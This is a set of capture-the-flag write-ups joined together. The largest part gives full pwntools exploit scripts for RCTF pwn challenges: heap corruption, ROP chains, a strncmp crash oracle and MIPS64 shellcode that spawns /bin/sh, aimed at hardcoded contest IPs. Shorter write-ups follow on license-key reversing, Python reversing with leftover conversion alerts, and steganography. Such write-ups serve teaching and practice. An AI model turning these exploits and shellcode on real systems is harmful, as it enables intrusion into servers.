def push_code(code): padding = 0 if (len(code)%8 == 0) else 8 - (len(code)%8) c = code+p8(instr["nop"])*padding # align 8 push_count = len(c)/8 sc = (p8(instr["push"])+p8(1)+p64(0x21))*(0xf6-push_count) for i in range(push_count-1,-1,-1): sc += p8(instr["push"])+p8(1)+p64(u64(c[i*8:i*8+8])) return sc
def main(host,port=6001): global p if host: pass else: pass # debug(0x000000000000F66) flag = '' for i in range(0x40): p = remote(host,port) code = p8(instr["mov"])+p8(8)+p8(0)+p8(9) # mov r0,rbp code += p8(instr["add"])+p8(1)+p8(1)+p64(0x701) # add r1,0x701 code += p8(instr["sub"])+p8(1)+p8(0)+p64(0x808) # sub r0,0x800 code += p8(instr["mov"])+p8(32)+p8(0)+p8(1) # mov [r0],r1 ; overwrite chunk size code += p8(instr["alloc"])+p32(0x400) # alloc(0x400) ; free chunk code += p8(instr["add"])+p8(1)+p8(0)+p64(8) # add r0,0x8 code += p8(instr["mov"])+p8(16)+p8(2)+p8(0) # mov r2,[r0] code += p8(instr["sub"])+p8(1)+p8(2)+p64(0x3ec140) # sub r2,0x3ec140 ; r2 --> libc_base code += p8(instr["mov"])+p8(8)+p8(3)+p8(2) # mov r3,r2 code += p8(instr["add"])+p8(1)+p8(3)+p64(libc.symbols["__free_hook"]) # add r3,libc.symbols["__free_hook"] code += p8(instr["mov"])+p8(8)+p8(4)+p8(2) # mov r4,r2 code += p8(instr["add"])+p8(1)+p8(4)+p64(libc.symbols["setcontext"]+0x35) # add r4,libc.symbols["setcontext"]+0x35 code += p8(instr["mov"])+p8(32)+p8(3)+p8(4) # mov [r3],r4 ; overwrite chunk size code += p8(instr["mov"])+p8(1)+p8(1)+p64(u64("/flag".ljust(8,"\x00"))) # mov r1,'/flag' code += p8(instr["mov"])+p8(32)+p8(0)+p8(1) # mov [r0],r1 code += p8(instr["mov"])+p8(8)+p8(1)+p8(0) # mov r1,r0 code += p8(instr["add"])+p8(1)+p8(0)+p64(0x68) # add r0,0x68 code += p8(instr["mov"])+p8(32)+p8(0)+p8(1) # mov [r0],r1 # rdi code += p8(instr["add"])+p8(1)+p8(0)+p64(0x10) # add r0,0x10 code += p8(instr["add"])+p8(1)+p8(1)+p64(0x300) # add r1,0x300 code += p8(instr["mov"])+p8(32)+p8(0)+p8(1) # mov [r0],r1 # rbp code += p8(instr["add"])+p8(1)+p8(0)+p64(0x28) # add r0,0x28 code += p8(instr["add"])+p8(1)+p8(1)+p64(0xa8) # add r1,0x200 code += p8(instr["mov"])+p8(32)+p8(0)+p8(1) # mov [r0],r1 # rsp code += p8(instr["add"])+p8(1)+p8(0)+p64(0x8) # add r0,0x8 code += p8(instr["mov"])+p8(8)+p8(3)+p8(2) # mov r3,r2 code += p8(instr["add"])+p8(1)+p8(3)+p64(0x439c8) # add r3,offset code += p8(instr["mov"])+p8(32)+p8(0)+p8(3) # mov [r0],r3 # rcx # 0x00000000000d3d8a: ret; # 0x00000000000a17e0: pop rdi; ret; # 0x00000000001306d9: pop rdx; pop rsi; ret; # 0x00000000000439c8: pop rax; ret; # 0x00000000000d2975: syscall; ret; # 0x000000000002f128: mov rax, qword ptr [rsi + rax*8 + 0x80]; ret; # 0x000000000012188f: mov rdi, rax; mov eax, 0x3c; syscall; ret = 0x00000000000d3d8a p_rdi = 0x00000000000a17e0 p_rdx_rsi = 0x00000000001306d9 p_rax = 0x00000000000439c8 syscall_ret = 0x00000000000d2975 buf = 0x3ec000 payload = [ ret,p_rax,2,p_rdx_rsi,0,0,syscall_ret, p_rdi,0,p_rdx_rsi,0x80,buf,p_rax,0,syscall_ret, p_rax,0,p_rdx_rsi,0,buf-0x80+i,0x2f128,0x12188f ] code += p8(instr["mov"])+p8(8)+p8(0)+p8(1) # mov r0,r1 for value in payload: if value < 0x100: code += p8(instr["mov"])+p8(1)+p8(1)+p64(value) # mov r1,value code += p8(instr["mov"])+p8(32)+p8(0)+p8(1) # mov [r0],r1 else: code += p8(instr["mov"])+p8(8)+p8(3)+p8(2) # mov r3,r2 code += p8(instr["add"])+p8(1)+p8(3)+p64(value) # add r3,offset code += p8(instr["mov"])+p8(32)+p8(0)+p8(3) # mov [r0],r3 code += p8(instr["add"])+p8(1)+p8(0)+p64(0x8) # add r0,0x8 code += p8(instr["alloc"])+p32(0x200) # alloc(0x200) ; trigger free code = push_code(code) p.recvuntil("code: ") p.send(code.ljust(0xf6d,p8(instr["nop"]))+p8(instr["jmp"])+p8(0xf1)+p8(instr["nop"])*0x90+'\xff') p.recvuntil("code: ") flag += chr(int(p.recv(),16)) info(flag) p.close() # pause() if flag[-1] == '}': break; if __name__ == "__main__": libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False) # elf = ELF("./easy_printf",checksec=False) instr = {"add":0,"sub":1,"mul":2,"div":3,"mov":4,"jsr":5,"and":6,"xor":7,"or":8,"not":9,"push":10,"pop":11,"jmp":12,"alloc":13,"nop":14} main(args['REMOTE'])
```
## no_write
The program only allows us to use open, read, exit and exit_group system calls, no write, so we have to find a way to leak the flag
The first thing is that without the write system call, we can't do the leak, but we can use this gadget to get the libc address we want:
```c.text:00000000004005E8 add [rbp-3Dh], ebx.text:00000000004005EB nop dword ptr [rax+rax+00h]```
rbp and ebx are both controled
We can use the stack pivoting method to migrate the stack to the bss segment, then call `__libc_start_main` , the bss segment will remain libc address after it. Then use the above gadget, we can arbitrary call
The problem now is how to leak the flag, and one way I give here is to use the strncmp function to compare the flag one by one
The specific ideas are as follows
- open and read flag into bss segment first.- read characters we want to brute force into the end of the BSS segment (0x601FFFF)- Then call strncmp(flag,0x601FFFF,2), if we enter the same characters with flag, the program will `segment fault` and we will received an EOFError , because strncmp is trying to read the contents at 0x602000- If the comparison in previous step is incorrect, the program can continue to run
exp:
```pythonfrom pwn import *import stringcontext.arch='amd64'
def ret_csu(func,arg1=0,arg2=0,arg3=0): payload = '' payload += p64(0)+p64(1)+p64(func) payload += p64(arg1)+p64(arg2)+p64(arg3)+p64(0x000000000400750)+p64(0) return payloaddef main(host,port=2333): # global p # if host: # p = remote(host,port) # else: # p = process("./no_write") # gdb.attach(p,"b* 0x0000000004006E6") # 0x0000000000400773 : pop rdi ; ret # 0x0000000000400771 : pop rsi ; pop r15 ; ret # .text:0000000000400544 call cs:__libc_start_main_ptr # .text:00000000004005E8 add [rbp-3Dh], ebx # .text:00000000004005EB nop dword ptr [rax+rax+00h] # .text:00000000004005F0 rep retn charset = '}{_'+string.digits+string.letters flag = '' for i in range(0x30): for j in charset: try: p = remote(host,6000) pppppp_ret = 0x00000000040076A read_got = 0x000000000600FD8 call_libc_start_main = 0x000000000400544 p_rdi = 0x0000000000400773 p_rsi_r15 = 0x0000000000400771 # 03:0018| 0x601318 -> 0x7f6352629d80 (initial) <-0x0 offset = 0x267870 #initial - __strncmp_sse42 readn = 0x0000000004006BF leave_tet = 0x00000000040070B payload = "A"*0x18+p64(pppppp_ret)+ret_csu(read_got,0,0x601350,0x400) payload += p64(0)+p64(0x6013f8)+p64(0)*4+p64(leave_tet) payload = payload.ljust(0x100,'\x00') p.send(payload) sleep(0.3) payload = "\x00"*(0x100-0x50) payload += p64(p_rdi)+p64(readn)+p64(call_libc_start_main) payload = payload.ljust(0x400,'\x00') p.send(payload) sleep(0.3) # 0x601318 payload = p64(pppppp_ret)+p64((0x100000000-offset)&0xffffffff) payload += p64(0x601318+0x3D)+p64(0)*4+p64(0x4005E8) # 0x00000000000d2975: syscall; ret; # 02:0010| 0x601310 -> 0x7f61d00d8628 (__exit_funcs_lock) <- 0x0 offset = 0x31dcb3 # __exit_funcs_lock - syscall payload += p64(pppppp_ret)+p64((0x100000000-offset)&0xffffffff) payload += p64(0x601310+0x3D)+p64(0)*4+p64(0x4005E8) payload += p64(pppppp_ret)+ret_csu(read_got,0,0x601800,2) payload += p64(0)*6 payload += p64(pppppp_ret)+ret_csu(0x601310,0x601350+0x3f8,0,0) #open flag payload += p64(0)*6 payload += p64(pppppp_ret)+ret_csu(read_got,3,0x601800,0x100) #read flag payload += p64(0)*6 payload += p64(pppppp_ret)+ret_csu(read_got,0,0x601ff8,8) # now we can cmp the flag one_by_one payload += p64(0)*6 payload += p64(pppppp_ret)+ret_csu(0x601318,0x601800+i,0x601fff,2) payload += p64(0)*6 for _ in range(4): payload += p64(p_rdi)+p64(0x601700)+p64(p_rsi_r15)+p64(0x100)+p64(0)+p64(readn) payload = payload.ljust(0x3f8,'\x00') payload += "flag\x00\x00\x00\x00" p.send(payload) sleep(0.3) p.send("dd"+"d"*7+j) sleep(0.5) p.recv(timeout=0.5) p.send("A"*0x100) # info(j) p.close() # p.interactive() except EOFError: flag += j info(flag) if(j == '}'): exit() p.close() # pause() breakif __name__ == "__main__": # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False) main(args["REMOTE"])
```
## mginx
I find this chllenge can getshell after game, but I release hint2 says can't getshell, I am so sorry about it.
mips64 big endian,not stripped
The logic of the program is not very complicated, it is a simple http server, a stack overflow in the following code:

This sStack4280 variable is the length of our `Content-Length` plus `body length`. If we set `Content-Length` to 4095 and fill in multiple bytes in the body, then sStack4280 will exceed 0x1000 and directly cause stack overflow, here is a poc:
```pythonreq = """GET /index \rConnection: no\rContent-Length: 4095\r\n\r""" req = req.ljust(0xf0,"A") # pause() p.send(req)```
With this stack overflow, we can hijack the return address of the main function, the program has no PIE, and the data segment can be executed, but the remote environment has ASLR, so we have to bypass the ASLR first.
Since we can stack overflow, the first thing that i think is ROP, but this program doesn't have many gadgets that can be used, so ROP is not very good, let's look at the instructions end of main function

we can control ra, s8 and gp,After many attempts, I finally chose to jump here:

we can overwrite the s8 as the address of the data segment, so that we can read our shellcode into data segment, and use the stack overflow in the main function to overwrite the return address as the address of the shellcode :D.
exp:
```python#python exp.py REMOTE=124.156.129.96 DEBUGfrom pwn import *import sys
context.update(arch='mips',bits=64,endian="big")
def main(host,port=8888): global p if host: p = remote(host,port) else: # p = process(["qemu-mips64","-g","1234","./mginx"]) p = process(["qemu-mips64","./mginx"]) # gdb.attach(p) # req = """GET /index \rConnection: no\rContent-Length: 4095\r\n\r""" req = req.ljust(0xf0,"A") # pause() p.send(req) # pause() # orw sc = "\x3c\x0d\x2f\x66\x35\xad\x6c\x61\xaf\xad\xff\xf8\x3c\x0d\x67\x00\xaf\xad\xff\xfc\x67\xa4\xff\xf8\x34\x05\xff\xff\x00\xa0\x28\x2a\x34\x02\x13\x8a\x01\x01\x01\x0c" sc += "\x00\x40\x20\x25\x24\x06\x01\x00\x67\xa5\xff\x00\x34\x02\x13\x88\x01\x01\x01\x0c" sc += "\x24\x04\x00\x01\x34\x02\x13\x89\x01\x01\x01\x0c"
# getshell # sc = "\x3c\x0c\x2f\x2f\x35\x8c\x62\x69\xaf\xac\xff\xf4\x3c\x0d\x6e\x2f\x35\xad\x73\x68\xaf\xad\xff\xf8\xaf\xa0\xff\xfc\x67\xa4\xff\xf4\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x13\xc1\x01\x01\x01\x0c"
payload = "A"*0xf30 payload += p64(0x000000012001a250)+p64(0x000000120012400) # remain 0x179 byte payload += p64(0x1200018c4)+"D"*(0x179-8) p.send(payload) p.recvuntil("404 Not Found :(",timeout=1) # pause()
req = """GET /index \rConnection: no\rContent-Length: 4095\r\n\r""" req = req.ljust(0xf0,"\x00") p.send(req) # pause() payload = "\x00"*0xa88 # fix the chunk payload += p64(0) + p64(21) payload += "\x00"*(0xf40-0xa98) # remain 0x179 byte payload += p64(0x00000001200134c0) payload += "\x00"*0x20+sc+"\x00"*(0x179-0x28-len(sc)) p.send(payload) try: p.recvuntil("404 Not Found :(",timeout=1) flag = p.recvuntil("}",timeout=1) if flag != '' : info(flag) pause() except: p.close() return p.close() if __name__ == "__main__": for i in range(200): try: main(args['REMOTE']) except: continue ```
get flag!

getshell exp:
```pythonfrom pwn import *import sys
context.update(arch='mips',bits=64,endian="big")
def main(host,port=8888): global p if host: p = remote(host,port) else: # p = process(["qemu-mips64","-g","1234","./mginx"]) p = process(["qemu-mips64","./mginx"]) # gdb.attach(p) # req = """GET /index \rConnection: no\rContent-Length: 4095\r\n\r""" req = req.ljust(0xf0,"A") p.send(req) # pause()
# getshell sc = "\x03\xa0\x28\x25\x64\xa5\xf3\x40" sc += "\x3c\x0c\x2f\x2f\x35\x8c\x62\x69\xaf\xac\xff\xf4\x3c\x0d\x6e\x2f\x35\xad\x73\x68\xaf\xad\xff\xf8\xaf\xa0\xff\xfc\x67\xa4\xff\xf4\x28\x06\xff\xff\x24\x02\x13\xc1\x01\x01\x01\x0c"
payload = "A"*0xf30 payload += p64(0x000000012001a250)+p64(0x000000120012400) # remain 0x179 byte payload += p64(0x1200018c4)+"D"*(0x179-8) p.send(payload) p.recvuntil("404 Not Found :(",timeout=1)
req = """GET /index \rConnection: no\rContent-Length: 4095\r\n\r""" req = req.ljust(0xf0,"\x00") p.send(req) payload = "\x00"*0x288 # argv_ 0x0000000120012800 argv_ = p64(0x120012820)+p64(0x120012828)+p64(0x120012830)+p64(0) argv_ += "sh".ljust(8,'\x00') argv_ += "-c".ljust(8,'\x00') argv_ += "/bin/sh".ljust(8,'\x00') payload += argv_ payload += "\x00"*(0x800 - len(argv_)) # fix the chunk payload += p64(0) + p64(21) payload += "\x00"*(0xf40-0xa98) # remain 0x179 byte payload += p64(0x00000001200134c0)
payload += "\x00"*0x20+sc+"\x00"*(0x179-0x28-len(sc)) p.send(payload) try: p.recvuntil("404 Not Found :(",timeout=1) p.sendline("echo dididididi") _ = p.recvuntil("didid",timeout=1) if _ != '': p.interactive() except: p.close() return p.close() if __name__ == "__main__": for i in range(200): try: main(args['REMOTE']) except: continue # main(args['REMOTE'])```
## note
Step 1: **get enough money**
The initial value of money is 0x996, size * 857 > money can not be applied, there is an operation of money += size in the delete function, so
The first thing is to modify the value of the money by multiply overflow.
Step 2: **leak libc and heap**
The calloc function allocate an MMAP chunk that does not perform a memset clearing operation, and there is a heap overflow in the super_edit(choice 7) function, modify the MMAP flag bit to 1 via the heap overflow to leak the libc and heap address.
Step 3: **tcache smashing unlink**
Use the off by null in edit function to unlink the chunk, and then use tcache smashing unlink to chain the `__malloc_hook` into tcache , call super_buy(choice 6) function to overwrite `__malloc_hook`, trigger calloc to getshell
exp:
```python#coding:utf-8from pwn import *import hashlibimport sys,string
local = 1
# if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'): # context.log_level = 'debug'
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')# libc = ELF('./libc_debug.so',checksec=False)one = [0xe237f,0xe2383,0xe2386,0x106ef8]
if local: p = process('./note_') else: p = remote("124.156.135.103",6004) def debug(addr=0,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) #print "breakpoint_addr --> " + hex(text_base + 0x202040) gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(p,"b *{}".format(hex(addr)))
sd = lambda s:p.send(s)rc = lambda s:p.recv(s)sl = lambda s:p.sendline(s)ru = lambda s:p.recvuntil(s)sda = lambda a,s:p.sendafter(a,s)sla = lambda a,s:p.sendlineafter(a,s)
def info(name,addr): log.info(name + " --> %s",hex(addr))
def add(idx,size): sla("Choice: ",'1') sla("Index: ",str(idx)) sla("Size: ",str(size))
def delete(idx): sla("Choice: ",'2') sla("Index: ",str(idx))
def show(idx): sla("Choice: ",'3') sla("Index: ",str(idx))
def edit(idx,data): sla("Choice: ",'4') sla("Index: ",str(idx)) sla("Message: \n",data)
def super_edit(idx,data): sla("Choice: ",'7') sla("Index: ",str(idx)) sda("Message: \n",data)
def get_money(): sla("Choice: ",'1') sla("Index: ",str(0)) sla("Size: ",'21524788884141834') delete(0)
def super_buy(data): sla("Choice: ",'6') sla("name: \n",data)
# get enough moneyget_money()
# leak heap and libc addressadd(0,0x80)add(1,0x500)add(2,0x80)delete(1)
add(1,0x600) #now 0x510 in largebin
pay = 0x88*b'\x00' + p64(0x510+1+2)super_edit(0,pay) # overwrite is_mmap flag
add(3,0x500)
show(3)rc(8)# libc_base = u64(rc(8)) - 0x1eb010libc_base = u64(rc(8)) - 0x1e50d0heap_base = u64(rc(8)) - 0x320
malloc_hook = libc_base + libc.symbols['__malloc_hook']free_hook = libc_base + libc.symbols['__free_hook']realloc = libc_base + libc.symbols['realloc']onegadget = libc_base + one[3]
# fill tcache 0x90delete(0)delete(1)delete(2)for i in range(5): add(0,0x80) delete(0)# fill tcache 0x60for i in range(5): add(0,0x50) delete(0)
# fill tcache 0x230for i in range(7): add(0,0x220) delete(0)# set a 0x60 to smallbin add(0,0x420)add(1,0x10)delete(0)add(0,0x3c0)add(2,0x60)
# null off by one to unlinktarget = heap_base + 0x2220 #unlink targetpay = b''pay += p64(0)pay += p64(0x231)pay += p64(target - 0x18)pay += p64(target - 0x10)pay += p64(target) #ptradd(4,0x80)edit(4,pay)
add(5,0x80)edit(5,p64(heap_base+0x2190))
add(6,0x80)add(7,0x80)
add(8,0x5f0) # will be freed and consolidate with topchunkdelete(7)pay = 0x80*b'\x00' + p64(0x230)add(7,0x88)edit(7,pay)
delete(8) #unlinkadd(8,0x220)add(9,0x90)delete(8)add(8,0x1c0)add(10,0x60)
pay = b'a'*0x20 + p64(0) + p64(0x61)pay += p64(heap_base + 0x2090)pay += p64(malloc_hook - 0x38)edit(7,pay)info("libc_base",libc_base)info("heap_base",heap_base)
add(11,0x50)pay = b'\x00'*0x20 + p64(onegadget) + p64(realloc+9)super_buy(pay)
add(12,0x70)
p.interactive()```
## cipher
mips64 big endian,not stripped
Understand the logic of the program, write the correct decryption function
The initial value of key comes from the rand() function, you need to brute force the key

exp:
```pythonfrom struct import pack, unpack
def ROR(x,r): return (x>>r)|((x<<(64-r))&0xffffffffffffffff)def ROL(x,r): return (x>>(64-r))|((x<<r)&0xffffffffffffffff)def R(x,y,k): x = ROR(x,8) x = (x+y)&0xffffffffffffffff x^=k y = ROL(y,3) y^=x return x,ydef RI(x,y,k): y^=x y = ROR(y,3) x^=k x = (x-y)&0xffffffffffffffff x = ROL(x,8) return x,y
def encrypt(t,k): y=t[0] x=t[1] b=k[0] a=k[1] x,y = R(x,y,b) for i in range(31): a,b = R(a,b,i) x,y = R(x,y,b) return y,x
def decrypt(t,k): y=t[0] x=t[1] b=k[0] a=k[1] keys = [] for i in range(32): keys.append(b) a,b = R(a,b,i) for i in range(32): x,y = RI(x,y,keys[31-i]) return y,x
def solve(): with open('ciphertext', 'rb') as f: ct = f.read().strip() print ct.encode('hex') key = -1 for i in range(65536): t0 = unpack('>Q',ct[:8])[0] t1 = unpack('>Q',ct[8:16])[0] x,y = decrypt([t0,t1],[i<<48,0]) ans = pack('>Q',x)+pack('>Q',y) if ans.startswith('RCTF'): key = i break
assert key!=-1 print key ans = '' for i in range(len(ct)/16): t0 = unpack('>Q',ct[i*16:i*16+8])[0] t1 = unpack('>Q',ct[i*16+8:i*16+16])[0] print hex(t0), hex(t1) x,y = decrypt([t0,t1],[key<<48,0]) ans += pack('>Q',x)+pack('>Q',y) print ans solve()
``` |
# Write-up
## Note about bsc
If you try to compile stuff using a different build of bsc, it will complain about mismatch of standard library files:
```The package `Dut' was compiled using a different version of the file`Prelude.bo' than what was found in the path.Please recompile the affected packages in dependency order or with -u.```
So we just use the supplied container. It may be useful to call bsc ourselves with custom command line options.
One can build the container without the entry point by commenting out the `ENTRYPOINT` line in the [Dockerfile](Dockerfile), then:
```docker build -t ip-protection .```
## Dump the bytecode
In the [bsc](https://github.com/B-Lang-org/bsc) repository at GitHub, one can read:
> Additional flags of use to developers can be displayed with the following command:> > `$ bsc -help-hidden`
Amongst lots of undocumented options:
```Dump/kill after various passes:[...]-dinternal-dbinary-dfixup[...]```
If you try to use the `-dbinary` option, you realize it dumps the bytecode. You could also find this option by studying bsc's source code at GitHub.
```docker run --rm ip-protection bsc -dbinary -verilog -cpp -Xcpp -DLICENSE_KEY=123 Tb.bs```
## Analyze the bytecode
Looking for the string `"invalid license key"` at the dump, one finds the relevant excerpts of code:
```let p :: Prelude.Integer p = 0xFC497367DE3520436E844080242730ACAF44F16C31AD45070F6E28455A2DA126F1242008E5D29624A0F47B2D28E9963A7CBFA75D -- IdProp: p[IdP_keep] in let q :: Prelude.Integer q = 0xC68F4A48226124EB1D0FDDDCEACEC20253FDAD180D63BEB0057508A08ACF60EAF63E62FD6727C582A085D4227410364E4E755205 -- IdProp: q[IdP_keep] in let c1 :: Prelude.Integer c1 = 0x6138C614261B2F71D9DC990CD6865F8A178994094349A7C4ED286D8D23E2862674C0589763725CDF1A08EF1DFBC89E703066A73C -- IdProp: c1[IdP_keep] in let c2 :: Prelude.Integer c2 = 0x8AD2F15273E7933543E6761E3EA030650890F3233113D1DD04F43A30798A4EFFC8A7A3F9F05CC9290FC990841A9198423642C7EF -- IdProp: c2[IdP_keep]
[...]
(PrimIf (_m__ Prelude.PrimUnit) (PrimBNot (PrimIntegerEQ (PrimIntegerRem (PrimIntegerAdd q (PrimIntegerMul k c2)) p) 2)) (.Prelude.bind _m__ _tcdict1546 Prelude.PrimUnit Prelude.PrimUnit (Prelude.bind_= _m__ Prelude.Empty Prelude.PrimUnit _tcdict1546 (Prelude.setStateName= _m__ _c__ Prelude.Empty _tcdict1001 Prelude.primGetName (Prelude.addRules= _m__ _c__ _tcdict1001 (PrimAddSchedPragmas _ (PrimRule "violation" _ (PrimOrd Prelude.Bool 1 (Prelude.True (PrimBuildUndefined Prelude.PrimUnit _ 1))) (Prelude.toPrimAction= Prelude.PrimUnit (Prelude.bind_= Prelude.ActionValue Prelude.PrimUnit Prelude.PrimUnit Prelude.Prelude.Monad~Prelude.ActionValue= (Prelude.fromPrimAction= Prelude.PrimUnit (Prelude.$display "invalid license key")) (Prelude.$finish= (PrimIntegerToBit 2 1))))))))```
So the message is printed whenever `(PrimBNot (PrimIntegerEQ (PrimIntegerRem (PrimIntegerAdd q (PrimIntegerMul k c2)) p) 2))` or, in alternate syntax, whenever `(q + k*c2) % p != 2`.
## Solving the equation
We can solve this equation by inverting `c2`, e.g. using Python with gmpy2:
```pythonIn [1]: import gmpy2
In [2]: p=0xFC497367DE3520436E844080242730ACAF44F16C31AD45070F6E28455A2DA126F1242008E5D29624A0F47B2D28E9963A7CBFA75D ...:
In [3]: q=0xC68F4A48226124EB1D0FDDDCEACEC20253FDAD180D63BEB0057508A08ACF60EAF63E62FD6727C582A085D4227410364E4E755205 ...:
In [4]: c2=0x8AD2F15273E7933543E6761E3EA030650890F3233113D1DD04F43A30798A4EFFC8A7A3F9F05CC9290FC990841A9198423642C7EF ...:
In [5]: ((2-q)*gmpy2.invert(c2,p))%pOut[5]: mpz(2900588852888817522482663339711888485418294656850552706711080114546549830073)```
or just throw it at some CAS.
## Getting the flag
Now that you have the license key, just run the container's original entry point to print the flag.
```$ docker run --rm ip-protection ./entrypoint.sh 2900588852888817522482663339711888485418294656850552706711080114546549830073bsc -verilog -cpp -Xcpp -DLICENSE_KEY=2900588852888817522482663339711888485418294656850552706711080114546549830073 Tb.bsVerilog file created: mkTb.vbsc -verilog -e mkTb -o tbVerilog binary file created: tb./tbCTF-BR{HW_1p_Pr073cT1on_1S_$3Cur1ty_By_oBscUr4n71Sm}``` |
>>>>> gd2md-html alert: ERRORs: 0; WARNINGs: 0; ALERTS: 8.See top comment block for details on ERRORs and WARNINGs. In the converted Markdown or HTML, search for inline alerts that start with >>>>> gd2md-html alert: for specific instances that need correction.
>>>>> gd2md-html alert: ERRORs: 0; WARNINGs: 0; ALERTS: 8.
Links to alert messages:alert1alert2alert3alert4alert5alert6alert7alert8
Links to alert messages:
>>>>> PLEASE check and correct alert issues and delete this message and the inline alerts.<hr>
>>>>> PLEASE check and correct alert issues and delete this message and the inline alerts.<hr>
**<span>EZ (pass0.py)</span>**
<span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse0.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span>
<span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse0.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span>

It’s right in the code…
**<span>PZ (pass1.py)</span>**
What’s executed out of global space?
<span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse1.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span>
<span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse1.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span>

What’s main call?
<span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse2.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span>
<span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse2.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span>

What’s in checkpass()?
<span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse3.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span>
<span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse3.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span>

There we go.
**<span>LEMON (pass2.py)</span>**
Same thing as before, track main() to checkpass(). Only this time they are doing text slicing:
<span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse4.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span>
<span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse4.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span>

rtcp{y34H_tHiS_a1nT_sEcuR3} when you append it all correctly.
**<span>SQUEEZEY (pass3.py)</span>**
This one was a little different as it needed some actual RE work to reverse the flow. Basically, the code takes your input and XOR’s the hex equivalent of the text turning it back into a character before base64 encoding it and comparing it against a known string. Quick investigation revealed the base64 decoded string is symmetric with the key, so that makes life easier.
To reverse it, I wrote a simple piece of code to handle the functions:
--- repass3.py --
import base64
final = 'HxEMBxUAURg6I0QILT4UVRolMQFRHzokRBcmAygNXhkqWBw='
key = 'meownyameownyameownyameownyameownya'
step1 = base64.b64decode(final, altchars=None)
step=0
data = []
for a in step1:
data.append(chr(ord(a) ^ ord(key[step])))
step+=1
print ''.join(data)
------
Executing this gets you:
<span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse5.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span>
<span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse5.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span>

**<span>thedanzman (pass4.py)</span>**
As with SQUEEZY, except there was some ROT13 thrown in the mix for hilarity. Seriously…
<span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse6.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span>
<span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse6.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span>

The nope function performs the same hex XOR as in SQUEEZY, but the wow function this time does a string reversal (i.e. foo[::-1]) which if we look at result, the base64 there has been reversed (easy to tell because the padding character was at the end, making it more byte symmetric would have introduced more hilarity). Interestingly enough, this time the key and text were not symmetric leading to the need to toss in the modulo to get it into the appropriate space for decryption.
So pulling this apart structurally led me to a code snippet:
--- repass4.py ---
import base64
import codecs
key = "nyameowpurrpurrnyanyapurrpurrnyanya"
key = codecs.encode(key, "rot_13")
final = '=ZkXipjPiLIXRpIYTpQHpjSQkxIIFbQCK1FR3DuJZxtPAtkR'
final = final[::-1]
step1 = codecs.encode(final, 'rot_13')
step2 = base64.b64decode(step1, altchars=None)
data = []
step=0
for a in step2:
data.append(chr(ord(a) ^ ord(key[step%35])))
step+=1
print ''.join(data)
------
Which when executed gives you this:
<span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse7.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span>
<span>>>>>> gd2md-html alert: inline image link here (to images/up-Reverse7.png). Store image on your image server and adjust path/filename if necessary. </span>(Back to top)(Next alert)<span>>>>>> </span>
 |
# Unimportant

We are given an [image](unimportant.png) and the [source code](encode.py) used to create that image.
The image is an A quality meme, shown below.

In the [encoding script](encode.py), the flag was converted to its binary form first.
```pythonwith open("flag.txt", "rb") as f: flag = f.read()binstr = bin(int(binascii.hexlify(flag), 16))bits = [int(x) for x in binstr[2:]]```
Then, those bits were hidden in the second least significant bit of each pixel.
```pythonpixel = (pixel[0], pixel[1]&~0b10|(bits[i]<<1), pixel[2], pixel[3])```
All we have to do is restore it. I decided to just brute force it, because it's easier and I'm lazy.
```pythonflag = b''## Bruteforce, yeah!i = 0gB = '' ## guess bitswhile True: gB += bits[i] try: flag = bytes.fromhex(hex(int(gB, 2))[2:]) except: int() if b'}' in flag: print("Flag found! Flag:", flag) break i += 1```
```$ py sol.pyFlag found! Flag: b'tjctf{n0t_th3_le4st_si9n1fic4nt}'```
If this was an actual message and not a flag, you could search for a line break instead.
```pythonif b'\n' in flag: print("Flag found! Flag:", flag) break```
```$ py sol.pyFlag found! Flag: b'tjctf{n0t_th3_le4st_si9n1fic4nt}\n'```
Flag: `tjctf{n0t_th3_le4st_si9n1fic4nt}` |
